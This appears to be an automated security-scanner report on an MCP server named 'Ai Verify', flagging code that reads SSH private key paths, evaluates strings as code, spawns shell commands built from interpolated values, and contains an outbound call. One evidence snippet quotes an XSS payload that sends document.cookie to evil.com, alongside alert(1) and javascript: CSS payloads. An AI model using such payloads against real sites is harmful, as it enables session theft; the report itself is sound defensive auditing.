Ai Verify MCP Server

In the server's implementation (`core/ssh.js:26`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: path.join(sshDir, 'id_rsa'), path.join(sshDir, 'id_ed25519'), path.join(sshDir, 'id_ecdsa'), path.join(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server core/ssh.js

In the server's implementation (`engines/playwright_adapter.js:174`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: loaded' }; } async eval(args = {}) { const page = await this.ensurePage(args); const expression = args.expr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engines/playwright_adapter.js

The implementation both builds shell commands out of runtime values (`engines/chrome_mcp_adapter.js`) and evaluates runtime values as code (`engines/playwright_adapter.js`). Each is a separate arbitrary-execution primitive; a server exposing both gives anything that reaches either one a direct path to running attacker-chosen code. These two sinks are in different files — confirm whether they are actually connected, or are unrelated code paths (e.g. a vendored bundle plus a CLI wrapper).

Fix: Remove the dynamic eval, and pass command arguments as an argv array instead of building a shell string. If both are genuinely required, constrain and validate every value that can reach them.

Location: server implementation

In the server's implementation (`engines/playwright_adapter.js:174`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: loaded' }; } async eval(args = {}) { const page = await this.ensurePage(args); const expression = args.expr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engines/playwright_adapter.js

In the server's implementation (`handlers/security.js:125`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: src 包含 'unsafe-eval'，允许 eval()，存在代码注入风险" }, { directive: 'style-src', pattern: /'unsafe-inline'/, severity: 'medium'

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server handlers/security.js

In the server's implementation (`handlers/validation.js:108`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: > { const fn = new Function(`return (${expression})`); return fn(); }, source.expression);

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server handlers/validation.js

In the server's implementation (`hands/memory_analyzer.js:35`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { const detect = new Function(`${script}; return detectInBrowser;`)(); return detect(); }, source); }

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server hands/memory_analyzer.js

In the server's implementation (`bin/validpilot.js:6`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: st { spawn } = require('child_process'); const { validationQuickRun } = require('../hands/verification_runner'); const b

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server bin/validpilot.js

In the server's implementation (`core/win-encoding.js:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: 代码页为 UTF-8 require('child_process').execSync('chcp 65001', { stdio: 'ignore' }); } catch (_) { // 静默失败，不影响主流程

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server core/win-encoding.js

In the server's implementation (`engines/chrome_mcp_adapter.js:252`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { execSync } = require('child_process'); const regQuery = execSync( 'reg query "HKLM\\SOFTWARE\\Micros

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engines/chrome_mcp_adapter.js

In the server's implementation (`handlers/atl.js:5`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { execSync } = require('child_process'); const { learnFromErrors, suggestFixes } = require('../brain/atl_learner'); con

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server handlers/atl.js

In the server's implementation (`server.js:9`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { execSync } = require('child_process'); const { chromium, firefox, webkit } = require('playwright'); const { Server }

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server server.js

In the server's implementation (`standalone-start.js:10`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: st { spawn } = require('child_process'); const serverPath = path.join(__dirname, 'server.js'); console.log('=== Va

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server standalone-start.js

In the server's implementation (`start-http.js:19`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: st { spawn } = require('child_process'); const path = require('path'); const PORT = process.env.MCP_HTTP_PORT || 3456;

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server start-http.js

In the server's implementation (`handlers/security.js:282`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: lert(1)>', '<script>fetch("https://evil.com?c="+document.cookie)</script>', '<style>@import "javascript:alert(1)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server handlers/security.js

In the server's implementation (`engines/chrome_mcp_adapter.js:297`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const result = execSync(`which ${name} 2>/dev/null`, { encoding: 'utf8', stdio: ['p

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engines/chrome_mcp_adapter.js